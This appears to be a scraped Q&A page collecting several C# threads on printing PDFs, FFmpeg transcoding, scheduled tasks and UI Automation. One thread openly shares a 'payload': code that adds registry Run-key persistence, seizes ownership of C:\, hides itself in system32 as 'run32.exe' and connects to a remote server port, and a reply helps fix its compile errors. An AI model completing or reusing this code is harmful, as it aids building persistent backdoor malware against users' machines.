So, i'm using the PDFSharp lib, and, I whant to print a pdf on both sides....
My printer is a hp2055dn I have tryed all things... btw... my code is that:
using PdfSharp.Pdf.Printing;
using System;
using System.Collections.Generic;
using System.Drawing.Printing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace impressao
{
class Program
{
static void Main(string[] args)
{
PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Adobe\Acrobat 8.0\Acrobat\Acrobat.exe";
//PdfFilePrinter.AdobeReaderPath = #"C:\Program Files (x86)\Foxit Software\Foxit Reader\Foxit Reader.exe";
PrinterSettings settings = new PrinterSettings();
settings.Collate = false;
settings.Duplex = Duplex.Vertical;
PrintDialog printerDialog = new PrintDialog();
printerDialog.AllowSomePages = false;
printerDialog.ShowHelp = false;
printerDialog.PrinterSettings = settings;
printerDialog.AllowPrintToFile = true;
printerDialog.PrinterSettings.PrintToFile = true;
DialogResult result = printerDialog.ShowDialog();
if (result == DialogResult.OK)
{
PdfFilePrinter printer = new PdfFilePrinter("0.pdf", settings.PrinterName);
try
{
printer.Print();
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}
}
If have a another way to make this, another lib, or, another settings, or another dll... please tell me
if is possible to make a another program in C or C++ and I just pass the parameters to print... I don't know...
I'm needing a lot of it, and urgently :(
Thanks
Alexandre
I found the solution, I have created a new printer and seted on defaults with print in both sides...
Related
Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.
I want to play one video in different bitrates. Like i uploaded one video in 1080P resolution i want play that video in 720P, 480P, 360P, 240P, 144P etc.
I want this solution in asp.net using C#.
Like youtube provide the facility to watch video in different resolutions.
Please help me regarding this.
I tried the following code but not working:
using Softpae.Media;
namespace ConsoleTest
{
class Program
{
static void Main(string[] args)
{
Job2Convert myJob = new Job2Convert();
MediaServer ms = new MediaServer();
myJob.pszSrcFile = "E:\\EhabVideoLibrary\\videos\\sinbad.mkv";
myJob.pszDstFile = "E:\\EhabVideoLibrary\\videos\\sinbad.mp4";
myJob.pszDstFormat = "mp4";
myJob.pszAudioCodec = "aac";
myJob.nAudioChannels = 2;
myJob.nAudioBitrate = -1;
myJob.nAudioRate = -1;
myJob.pszVideoCodec = "h264";
myJob.nVideoBitrate = -1;
myJob.nVideoFrameRate = -1;
myJob.nVideoFrameWidth = -1;
myJob.nVideoFrameHeight = -1;
bool ret = ms.ConvertFile(myJob);
}
}
}
You can use FFplay of the FFmpeg project. (ffmpeg.org) With FFmpeg it's possible to encode and transcode almost every codec in the resolution you want. In this thread is the use of a command line application using C# described.
I've never tried it, but there are also libraries provided for .NET using FFmpeg like this:
ffmpegdotnet.codeplex.com
intuitive.sk/fflib
Success with it!
Here is an example code using ffmpeg (I tested it under Win7 VM):
using System;
namespace ConsoleApplication_FFmpegDemo
{
class Program
{
static void Main(string[] args)
{
string inputVideo = #"C:\Users\Public\Videos\Sample Videos\Wildlife.wmv";
string outputVideo = #"C:\Users\Public\Videos\Sample Videos\Wildlife.mp4";
string ffmpegArg = string.Format("-i \"{0}\" -vf scale=320:240 \"{1}\"", inputVideo, outputVideo);
string ffmpegPath = #"C:\Portable\ffmpeg-win32-static\bin\ffmpeg.exe";
FFmpegTask ffmpegTask = new FFmpegTask(ffmpegPath, ffmpegArg);
ffmpegTask.Start();
Console.ReadLine();
}
}
}
And the FFmpegTask.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.IO;
namespace ConsoleApplication_FFmpegDemo
{
public class FFmpegTask
{
public Process process = new Process();
public FFmpegTask(string ffmpegPath, string arguments)
{
process.StartInfo.FileName = ffmpegPath;
process.StartInfo.Arguments = arguments;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.CreateNoWindow = false;
process.StartInfo.UseShellExecute = false;
}
public bool Start()
{
return process.Start();
}
}
}
I am trying to run a scheduled task from C# without opening a new command line window, using the following code without any success (it prompts a window every time I use it)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
try
{
Process p1 = new Process();
p1.StartInfo.FileName = #"C:\Windows\System32\schtasks.exe";
p1.StartInfo.Verb = "runas";
p1.StartInfo.Arguments = "/run /tn CCleaner";
p1.StartInfo.RedirectStandardOutput = true;
p1.StartInfo.UseShellExecute = false;
p1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p1.StartInfo.CreateNoWindow = true;
p1.Start();
p1.Close();
}
catch (Exception ex)
{
}
}
}
}
How could I solve this problem ?
Thank you so much for your attention
You can use a library that provides access to Task Scheduler API.
For example using http://taskscheduler.codeplex.com/
using (var ts = new TaskService())
{
Task task = ts.GetTask("My task");
task.Run();
}
I'm new to c#.
I'm looking for solution to this (app to check can be downloaded from http://download.eset.com/special/ESETLogCollector.exe
CODE:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;
using System.Windows.Automation;
namespace LogCollector
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo proc = new ProcessStartInfo();
proc.UseShellExecute = true;
proc.WorkingDirectory = Environment.CurrentDirectory;
proc.FileName = "C:\\robot\\ESETLogCollector.exe";
proc.Verb = "runas";
Process.Start(proc);
System.Threading.Thread.Sleep(2000);
Console.WriteLine("Ahoj");
AutomationElement desktop = AutomationElement.RootElement;
Condition cond = new PropertyCondition(AutomationElement.NameProperty, "ESET Log Collector");
AutomationElement elc = desktop.FindFirst(TreeScope.Children, cond);
Console.WriteLine(elc.Current.Name);
String save_path = "";
Condition cond1 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1005");
try
{
AutomationElement save_as = elc.FindFirst(TreeScope.Subtree, cond1);
Console.WriteLine(save_as.Current.AutomationId);
save_path = save_as.Current.Name;
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
if (System.IO.File.Exists(save_path))
{
System.IO.File.Delete(save_path);
Console.WriteLine(save_path);
}
Condition cond2 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1002");
AutomationElement collect = elc.FindFirst(TreeScope.Children, cond2);
Console.WriteLine(collect.Current.Name);
try
{
Object outObject;
collect.TryGetCurrentPattern(InvokePattern.Pattern, out outObject);
InvokePattern pattern = outObject as InvokePattern;
pattern.Invoke();
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
Console.ReadKey();
}
}
}
All I still got IF I Want to invoke buttonclick is:
Operation is not valid due to the current stat of the object
I really don't know what is happening here. Can anybody help me with this?
Ty
The operation is probably failing because you are not running your automation application as administrator while the ESET Log Collector has been run with elevated permissions.
The UI Automation Security Overview describes the security model and how to communicate with processes that are running at a higher privilege level (i.e. you need a signed application with a manifest file that includes a special attribute).
I am making a C# Windows application for printing a PDF.
When I open the application, it only opens the Acrobat Reader window and no more printing. Is there anything I have missed in the function of Print()?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.Win32;
namespace PrintDocumentsApplication
{
public partial class PrintForm : Form
{
public PrintForm()
{
InitializeComponent();
}
private void printPdfButton_Click(object sender, EventArgs e)
{
String File = #"C:\Documents and Settings\larasasasrylo\Desktop\QRCODE_DEMO\test.pdf";
String Printer = "\\vhssadasdasoftaweafs\\HP Color LaserJet 5550 PCL 6";
Print(File, Printer);
}
public static bool Print(string file, string printer)
{
try
{
Process.Start(
Registry.LocalMachine.OpenSubKey(
#"SOFTWARE\Microsoft\Windows\CurrentVersion" +
#"\App Paths\AcroRd32.exe").GetValue("").ToString(),
string.Format("/h /t \"{0}\" \"{1}\"", file, printer));
return true;
}
catch { }
return false;
}
}
}
you try this
Process process = new Process();
process.StartInfo.FileName = pathToPdfOrDocFile;
process.UseShellExecute = true;
process.StartInfo.Verb = "printto";
process.StartInfo.Arguments = "\"" + printerName + "\"";
process.Start();
process.WaitForInputIdle();
process.Kill();